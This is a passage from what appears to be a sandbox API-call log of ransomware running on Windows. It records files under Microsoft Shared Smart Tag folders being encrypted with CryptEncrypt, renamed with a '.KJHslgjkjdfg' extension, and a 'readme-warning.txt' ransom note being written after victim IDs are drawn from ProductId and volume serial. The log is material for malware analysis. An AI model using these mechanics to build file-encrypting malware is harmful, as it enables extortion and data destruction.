(in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.055] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.055] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.055] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.055] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.056] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.056] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.056] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.056] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3580, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x3580, lpOverlapped=0x0) returned 1 [0145.059] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x3580, dwBufLen=0x3580 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x3580) returned 1 [0145.059] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.059] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3580, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x3580, lpOverlapped=0x0) returned 1 [0145.059] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.059] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x3654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.059] SetEndOfFile (hFile=0x118) returned 1 [0145.062] GetProcessHeap () returned 0x2a0000 [0145.062] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.062] GetProcessHeap () returned 0x2a0000 [0145.062] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.kjhslgjkjdfg")) returned 1 [0145.063] CloseHandle (hObject=0x118) returned 1 [0145.064] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0 [0145.064] GetProcessHeap () returned 0x2a0000 [0145.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.064] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.064] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0145.064] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.064] GetProcessHeap () returned 0x2a0000 [0145.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0145.064] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.064] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0145.064] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.064] GetProcessHeap () returned 0x2a0000 [0145.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0145.064] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.065] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0145.065] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.065] GetProcessHeap () returned 0x2a0000 [0145.065] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0145.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.065] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0145.065] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.065] GetProcessHeap () returned 0x2a0000 [0145.065] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.065] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0145.065] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.065] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0145.065] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0145.065] RegCloseKey (hKey=0x118) returned 0x0 [0145.066] GetProcessHeap () returned 0x2a0000 [0145.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0145.066] GetProcessHeap () returned 0x2a0000 [0145.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.066] GetProcessHeap () returned 0x2a0000 [0145.066] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.066] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.066] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0145.066] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.066] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0145.066] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.066] GetProcessHeap () returned 0x2a0000 [0145.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.066] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0145.066] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0145.066] GetProcessHeap () returned 0x2a0000 [0145.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0145.067] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\readme-warning.txt") returned 80 [0145.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.093] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0145.094] CloseHandle (hObject=0x118) returned 1 [0145.094] GetProcessHeap () returned 0x2a0000 [0145.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0145.094] GetProcessHeap () returned 0x2a0000 [0145.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0145.095] GetProcessHeap () returned 0x2a0000 [0145.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0145.095] GetProcessHeap () returned 0x2a0000 [0145.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.095] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0145.095] GetProcessHeap () returned 0x2a0000 [0145.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0145.095] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0145.095] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0145.095] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0145.095] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0145.095] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0145.095] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0145.095] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0145.095] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LISTS", cAlternateFileName="")) returned 1 [0145.095] GetProcessHeap () returned 0x2a0000 [0145.095] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0145.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0145.097] GetProcessHeap () returned 0x2a0000 [0145.097] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0145.097] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.097] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0145.097] GetProcessHeap () returned 0x2a0000 [0145.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0145.097] GetProcessHeap () returned 0x2a0000 [0145.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2c7fd8 [0145.097] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0145.097] GetProcessHeap () returned 0x2a0000 [0145.097] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0145.097] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.098] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0145.098] GetProcessHeap () returned 0x2a0000 [0145.098] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x29a) returned 0x2f7730 [0145.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0145.098] GetProcessHeap () returned 0x2a0000 [0145.098] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.098] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.098] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0145.098] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xa, lpOverlapped=0x0) returned 1 [0145.102] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0145.102] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.102] GetProcessHeap () returned 0x2a0000 [0145.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.102] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0145.102] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.102] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0145.102] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0145.103] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0145.103] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0145.103] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0145.103] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0145.103] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0145.103] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.103] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.103] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x22d6, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x22d6, lpOverlapped=0x0) returned 1 [0145.104] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x22e0, dwBufLen=0x22e0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x22e0) returned 1 [0145.104] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.105] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x22e0, lpOverlapped=0x0) returned 1 [0145.105] CryptDestroyKey (hKey=0x2c6420) returned 1 [0145.105] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x23a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.105] SetEndOfFile (hFile=0x13c) returned 1 [0145.112] GetProcessHeap () returned 0x2a0000 [0145.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.112] GetProcessHeap () returned 0x2a0000 [0145.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.kjhslgjkjdfg")) returned 1 [0145.113] CloseHandle (hObject=0x13c) returned 1 [0145.113] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, 